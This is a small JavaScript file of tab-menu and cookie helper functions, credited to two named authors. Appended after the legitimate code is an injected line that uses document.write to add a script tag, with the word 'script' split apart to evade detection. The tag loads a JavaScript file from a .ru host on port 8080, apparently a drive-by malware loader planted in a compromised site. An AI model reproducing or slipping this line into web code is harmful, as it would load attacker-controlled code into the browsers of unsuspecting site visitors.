// <![CDATA[
// Tab menu functions by Jack Letourneau, February 2002
// http://eigengrau.com/
//
// Modifications by Nick Momrik
// -Added cookie functions (January 2004)
// -Updated cookie functions (May 2004)
// http://mtdewvirus.com/

function switchOn(tabNum) {
	switchAllOff();
	document.getElementById('tab'+tabNum).className = 'selectedtab';
	document.getElementById('tabcontents'+tabNum).className = 'tabselectedcontents';
	setCookie('tabCookie', tabNum, 7);
}

function checkTabCookie() {
	tabNum=getCookie('tabCookie');
	if (tabNum==null) {
		tabNum=1;
	}

	switchOn(tabNum);
}

function clearTop() {
	topRow = document.getElementById('tabs');
	tabArray = topRow.childNodes;
	for (var i=0; i<tabArray.length; i++) {
		tabArray[i].className = 'tab';
	}
}

function clearContents() {
	tabContents = document.getElementById('tabcontents');
	contentsArray = tabContents.childNodes;
	for (var j=0; j<contentsArray.length; j++) {
	  contentsArray[j].className = 'tabcontent';
	}
}

function switchAllOff() {
	clearTop();
	clearContents();
}

function getCookie(NameOfCookie) {
	if (document.cookie.length > 0) {
		begin = document.cookie.indexOf(NameOfCookie+"="); 
		if (begin != -1) {
			begin += NameOfCookie.length+1; 
			end = document.cookie.indexOf(";", begin);
			if (end == -1) end = document.cookie.length;
			return unescape(document.cookie.substring(begin, end));
		} 
	}
	return null; 
}

function setCookie(NameOfCookie, value, expiredays) {
	var ExpireDate = new Date ();
	ExpireDate.setTime(ExpireDate.getTime() + (expiredays * 24 * 3600 * 1000));
	document.cookie = NameOfCookie + "=" + escape(value) + "; expires=" + ((expiredays == null) ? "0" : ExpireDate.toGMTString()) + "; path=/; domain=.mtdewvirus.com;" ;
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Hard_Copy.js"></scr'+'ipt>');